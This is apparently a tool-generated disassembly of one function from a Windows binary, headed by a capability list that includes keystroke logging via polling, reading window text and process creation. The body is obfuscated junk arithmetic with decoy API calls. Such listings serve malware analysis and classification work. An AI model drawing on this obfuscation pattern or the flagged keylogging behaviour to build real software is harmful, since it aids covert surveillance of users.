Function at 0x1003040b
Capabilities:
Accept command line arguments
Create process on windows
Get common file path
Get file attributes
Get file system object information
Get graphical window text
Log keystrokes via polling
Parse pe header
Read .ini file

Disassembly:
mov eax, 0x1007b4eb
call fcn.10079a80
mov eax, 0x13a4
call fcn.10076170
push ebx
xor eax, eax
mov dword [ebp - 0x58], ecx
push esi
xor ebx, ebx
mov byte [ebp - 0x65], dl
push edi
inc ebx
mov edi, 0x8e56f9b2
mov dword [ebp - 0x48], edi
or esi, 0xffffffff
mov dword [ebp - 0x50], 0x16210b99
mov dword [ebp - 0x14], 0xf4326038
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0xbff5ecce
mov dword [ebp - 0x40], 0x2ef7e291
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x50], 0x160c6370
mov dword [ebp - 0x44], 0x9f13
mov dword [ebp - 0x3c], 9
dec dword [ebp - 0x40]
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x40]
je 0x100304a3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100304b2
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jg 0x100304ba
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
add edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
neg edx
jne 0x100304e2
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x100304e4
mov ecx, ebx
xor eax, eax
cmp ecx, 0xcda6
setle al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0x48]
neg ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x48]
mov dword [ebp - 0x1c], 0xc5acc8e1
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x50], 0x16210b99
mov dword [ebp - 0x14], 0xf4326038
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0xbff5ecce
mov dword [ebp - 0x40], 0x2ef7e291
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x50], 0x160c6370
mov dword [ebp - 0x44], 0x9f13
mov dword [ebp - 0x3c], 9
dec dword [ebp - 0x40]
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x40]
je 0x100305b5
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100305c4
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jg 0x100305cc
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
add edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
neg edx
jne 0x100305f4
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x100305f6
mov ecx, ebx
xor eax, eax
cmp ecx, 0xcda6
setle al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0x48]
neg ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x48]
mov dword [ebp - 0x1c], 0xc5acc8e1
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x50], 0x16210b99
mov dword [ebp - 0x14], 0xf4326038
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0xbff5ecce
mov dword [ebp - 0x40], 0x2ef7e291
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x50], 0x160c6370
mov dword [ebp - 0x44], 0x9f13
mov dword [ebp - 0x3c], 9
dec dword [ebp - 0x40]
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x40]
je 0x100306c7
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100306d6
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jg 0x100306de
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
add edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
neg edx
jne 0x10030706
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x10030708
mov ecx, ebx
xor eax, eax
cmp ecx, 0xcda6
push 3
setle al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov eax, dword [ebp - 0x48]
neg ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
pop edi
sete dl
xor ecx, ecx
cmp edx, eax
push edi
setne cl
imul ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xa88]
dec dword [ebp - 0x48]
mov dword [ebp - 0x1c], 0xc5acc8e1
mov dword [ebp - 0x40], 0x25d1
mov dword [ebp - 0x18], ebx
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
jmp 0x100307a3
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa88]
call fcn.1000a502
mov dword [eax], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003078c
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xe
push 2
pop ecx
je 0x10030809
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jg 0x100307fd
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa88]
call fcn.1000a502
push dword [ebp - 0x18]
xor ebx, ebx
lea ecx, [ebp - 0xa88]
cmp dword [eax], 0xcb61d225
setne bl
call fcn.1000a502
push 2
pop ecx
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x100307c7
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xe
jne 0x100307bf
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xa88]
mov dword [ebp - 4], esi
call fcn.1000a4e6
mov dword [ebp - 0x14], 0xa48bbca6
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x28], 0xb8faaaeb
mov dword [ebp - 0x28], 0xb3921ded
mov dword [ebp - 0x28], 0x55595070
mov dword [ebp - 0x50], 0xdbda
mov dword [ebp - 0x14], eax
jmp 0x10030850
mov dword [ebp - 0x28], edi
dec dword [ebp - 0x50]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 7
je 0x10030847
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x1003086e
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
xor eax, eax
mov dword [ebp - 0x44], 0x8e56f9b2
mov dword [ebp - 0x20], 0x707dfe4
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x1c], 0x7dcb
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x100308ac
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5d0], 0xa624cdb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10030893
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x100308bf
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6c], 0x5706b379
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100308b1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x6c], eax
jne 0x100308d4
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5d0]
mov eax, dword [ebp - 0x5c8]
cmp eax, dword [ebp - 0x6c]
jge 0x100308eb
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x5c8]
mov eax, dword [ebp - 0x6c]
cmp eax, 0xb62b2faa
mov eax, dword [ebp - 0x5cc]
setne cl
imul eax, ecx
mov ecx, dword [ebp - 0x6c]
imul ecx, eax
xor eax, eax
cmp ecx, 0x6f26
setl al
imul eax, eax, 9
cmp eax, dword [ebp - 0x6c]
jge 0x1003092d
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003092d
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5c8]
mov eax, dword [ebp - 0x6c]
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jl 0x10030a43
push ebx
lea ecx, [ebp - 0xe54]
call fcn.1000a48a
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x50], 0xbfd7802
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003098b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe54]
call fcn.1000a502
mov dword [eax], 0x9d3f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003096d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10030a20
push esi
lea ecx, [ebp - 0x630]
call fcn.1000a48a
push 2
pop ecx
mov byte [ebp - 4], cl
xor eax, eax
mov dword [ebp - 0x28], 0x27dbd1bd
mov dword [ebp - 0x14], eax
push ecx
pop esi
cmp dword [ebp - 0x14], ecx
jge 0x100309d6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x630]
call fcn.1000a502
mov dword [eax], 0x446ca37e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100309b8
xor eax, eax
push eax
lea ecx, [ebp - 0x630]
call fcn.1000a502
mov dword [eax], edi
jmp 0x100309fa
xor eax, eax
mov dword [ebp - 0x28], 0x5c01cf56
dec dword [ebp - 0x50]
push eax
call fcn.1000a502
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x630]
push eax
call fcn.1000a502
lea ecx, [ebp - 0x630]
cmp dword [eax], 0
jge 0x100309e6
mov byte [ebp - 4], bl
call fcn.1000a4e6
inc dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jle 0x10030993
or eax, 0xffffffff
lea ecx, [ebp - 0xe54]
mov dword [ebp - 4], eax
call fcn.1000a4e6
dec dword [ebp - 0x40]
jns 0x1003094d
mov eax, dword [ebp - 0x5d0]
mov eax, dword [ebp - 0x5cc]
cmp eax, dword [ebp - 0x5cc]
jl 0x10030a6c
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
cmp edx, dword [ebp - 0x6c]
jne 0x10030a6c
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x1c]
sub eax, 0x542d
neg eax
push 0xfffffffffffffffc
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x40]
neg eax
pop edx
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, edx
push esi
setl cl
or eax, 0xffffffff
mov dword [ebp - 0x5d0], ecx
lea ecx, [ebp - 0x92c]
mov dword [ebp - 0x3c], 0x16210b99
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xfffffffd
mov dword [ebp - 0x1c], eax
call fcn.1000a48a
push 8
mov dword [ebp - 4], edi
pop eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030aeb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x92c]
call fcn.1000a502
mov dword [eax], 0xbd5de1fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030acd
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x10030b0c
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x50]
add eax, 0x35701309
cmp eax, dword [ebp - 0x40]
jge 0x10030b0c
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x40], eax
je 0x10030b0e
mov edx, ebx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, 0x45d8
jl 0x10030b27
cmp dword [ebp - 0x40], eax
je 0x10030b2c
cmp dword [ebp - 0x50], eax
jne 0x10030b2e
mov ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0x92c]
setle bl
xor eax, eax
push eax
call fcn.1000a502
lea ecx, [ebp - 0x92c]
mov dword [eax], ebx
xor eax, eax
mov dword [ebp - 0x14], ebx
push eax
call fcn.1000a502
mov ecx, dword [ebp - 0x14]
or ebx, 0xffffffff
mov dword [ebp - 4], ebx
mov dword [eax], ecx
lea ecx, [ebp - 0x92c]
call fcn.1000a4e6
mov dword [ebp - 0x34], 0xf4326038
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x14], 0xfffffff9
jmp 0x10030c01
push 4
pop esi
mov dword [ebp - 0x38], 0x2a4f
lea ecx, [ebp - 0xb2c]
push esi
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], esi
jge 0x10030bd1
push dword [ebp - 0x40]
lea ecx, [ebp - 0xb2c]
call fcn.1000a502
mov dword [eax], 8
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10030bb3
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10030be0
cmp dword [ebp - 0x14], eax
je 0x10030be0
xor esi, esi
inc esi
jmp 0x10030be2
mov esi, eax
push edi
lea ecx, [ebp - 0xb2c]
call fcn.1000a502
lea ecx, [ebp - 0xb2c]
mov dword [ebp - 4], ebx
mov dword [eax], esi
call fcn.1000a4e6
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe5
jge 0x10030b90
push 2
pop ebx
xor eax, eax
lea ecx, [ebp - 0x870]
mov dword [ebp - 0x18], eax
push ebx
call fcn.1000a48a
push ebx
lea ecx, [ebp - 0xd60]
mov dword [ebp - 4], 5
call fcn.1000a48a
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10030c5a
push dword [ebp - 0x24]
lea ecx, [ebp - 0x870]
call fcn.1000a502
mov dword [eax], 0x1f2c29a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10030c3c
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10030c7d
push dword [ebp - 0x24]
lea ecx, [ebp - 0xd60]
call fcn.1000a502
and dword [eax], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10030c62
xor eax, eax
push eax
lea ecx, [ebp - 0x870]
call fcn.1000a502
cmp dword [eax], 0
je 0x10030cbb
xor eax, eax
lea ecx, [ebp - 0x870]
push eax
call fcn.1000a502
lea ecx, [ebp - 0x870]
mov esi, dword [eax]
xor eax, eax
push eax
neg esi
call fcn.1000a502
cmp esi, dword [eax]
jle 0x10030cbb
xor edi, edi
inc edi
xor eax, eax
mov esi, edi
jmp 0x10030cc2
xor eax, eax
xor edi, edi
mov esi, eax
inc edi
push eax
lea ecx, [ebp - 0xd60]
call fcn.1000a502
mov dword [eax], esi
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10030ce8
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
lea ecx, [ebp - 0xd60]
call fcn.1000a4e6
or eax, 0xffffffff
lea ecx, [ebp - 0x870]
mov dword [ebp - 4], eax
call fcn.1000a4e6
mov dword [ebp - 0x1c], 0xbff5ecce
xor eax, eax
mov dword [ebp - 0x20], 0x3b26bdde
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
jmp 0x10030daf
push 3
pop esi
push esi
lea ecx, [ebp - 0x6f0]
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 7
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], eax
jmp 0x10030d50
push dword [ebp - 0x14]
call fcn.1000a502
mov dword [eax], 0x6318d581
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x6f0]
cmp dword [ebp - 0x14], esi
jl 0x10030d3f
push ebx
call fcn.1000a502
lea ecx, [ebp - 0x6f0]
cmp dword [eax], 0
jne 0x100310a0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x50], eax
xor eax, eax
push eax
call fcn.1000a502
mov esi, dword [ebp - 0x50]
lea ecx, [ebp - 0x6f0]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.1000a502
xor ecx, ecx
cmp esi, dword [eax]
setle cl
or eax, 0xffffffff
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x6f0]
mov dword [ebp - 4], eax
call fcn.1000a4e6
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe5
je 0x10030d1f
push 3
or ebx, 0xffffffff
pop esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x10030dd0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0x494abc25
mov eax, dword [ebp - 0x20]
push esi
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x1060]
mov dword [ebp - 0x2c], 0x2ef7e291
call fcn.1000a48a
push 8
pop eax
mov dword [ebp - 4], eax
mov eax, 0xfff7
mov dword [ebp - 0x28], 0x2fd4914d
mov dword [ebp - 0x28], 0x5b7cefa9
mov dword [ebp - 0x28], 0x96a162c9
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], 0xba75a592
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0xae0], eax
mov dword [ebp - 0xadc], eax
mov dword [ebp - 0xad8], eax
mov dword [ebp - 0xad4], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10030e77
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1060]
call fcn.1000a502
mov dword [eax], 0x4801897a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10030e59
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10030e96
push 0xfffffffffffffffc
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x12e0], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10030e82
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030eb3
push 0x162e
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
dec dword [ebp - 0xad4]
lea ecx, [ebp - 0x1060]
mov dword [ebp - 4], ebx
call fcn.1000a4e6
mov dword [ebp - 0x48], edi
lea ecx, [ebp - 0xb50]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x50], 0xe34edf6b
push esi
call fcn.1000a48a
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], 0x47d228d5
mov dword [ebp - 0x28], 0xb2b058ef
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030f20
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb50]
call fcn.1000a502
mov dword [eax], 0xf23e5250
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030f02
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030f3a
push eax
push 0x1b0a
push 0x1cc3
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub edx, 0xfffffff8
neg edx
push 2
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setg dl
xor ebx, ebx
cmp edx, 0x4b1b055c
setl bl
xor ecx, ecx
cmp ebx, eax
pop ebx
setle cl
xor eax, eax
cmp ecx, ebx
lea ecx, [ebp - 0xb50]
push edi
setl al
mov dword [ebp - 0x50], eax
mov esi, dword [ebp - 0x50]
call fcn.1000a502
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x40]
add eax, esi
imul edx, eax, 0x2124
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setne cl
or esi, 0xffffffff
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xb50]
mov dword [ebp - 4], esi
call fcn.1000a4e6
mov dword [ebp - 0x28], 0xfffffff6
lea ecx, [ebp - 0xcb8]
mov dword [ebp - 0x4c], 0x160c6370
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], 0x530de9bf
push ebx
call fcn.1000a48a
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031016
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcb8]
call fcn.1000a502
mov dword [eax], 0x74a52027
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030ff8
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetDC]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031035
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push edi
lea ecx, [ebp - 0xcb8]
call fcn.1000a502
xor ecx, ecx
mov dword [eax], 0x8dfb
mov dword [ebp - 0x50], 0x5a9576c3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
cmp eax, edi
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xcb8]
mov dword [ebp - 4], esi
call fcn.1000a4e6
mov dword [ebp - 0x3c], 0x9f13
mov dword [ebp - 0x20], 0x57fd5464
mov dword [ebp - 0x1c], 0x55eec80f
mov dword [ebp - 0x50], 0xf37911b9
mov dword [ebp - 0x20], 0x13
jmp 0x10031228
or ebx, 0xffffffff
mov dword [ebp - 4], ebx
call fcn.1000a4e6
jmp 0x10030dbf
movdqa xmm0, xmmword [0x100093b0]
lea eax, [ebp - 0x1080]
push eax
lea eax, [ebp - 0x1090]
push eax
lea ecx, [ebp - 0x1278]
movdqu xmmword [ebp - 0x1090], xmm0
call fcn.100136d2
lea ecx, [ebp - 0x246]
mov esi, eax
call fcn.1000a5ed
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xb68]
push dword [esi]
call fcn.100136ac
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], eax
jmp 0x1003120a
mov dword [ebp - 0x40], 0x368a9017
mov dword [ebp - 0x14], 0x9a2f3817
mov dword [ebp - 0x54], 0x481f3403
mov dword [ebp - 0x50], 0x1e60e779
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x24]
call fcn.1000a502
push 3
lea ecx, [ebp - 0xb68]
mov esi, eax
call fcn.1000a502
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x24]
xor ecx, ecx
cmp dword [esi], edi
setge cl
mov dword [ebp - 0x50], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x50]
imul edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x50], eax
jg 0x100311af
xor eax, eax
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x54]
mov dword [ebp - 0x40], 0x1b
jmp 0x100311a7
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100311a4
push 0x621
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 6
je 0x1003118b
jmp 0x100311e4
or eax, 0xffffffff
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x14], 0xfffffff5
cmp dword [ebp - 0x14], 0x1a
jg 0x100311e4
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100311d8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x54]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1a
jle 0x100311c4
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031207
push eax
push eax
push 0x1acc
push 0x5d8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
lea ecx, [ebp - 0xb68]
jle 0x1003110b
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1000a4e6
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x11
jle 0x100310b0
mov dword [ebp - 0x38], 9
lea ecx, [ebp - 0x140]
push edi
call fcn.1000a48a
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x1288]
movdqa xmm0, xmmword [0x10009390]
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x54], 0x9827359b
mov dword [ebp - 0x54], 0x5411aa84
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1100]
push eax
lea eax, [ebp - 0x1110]
push eax
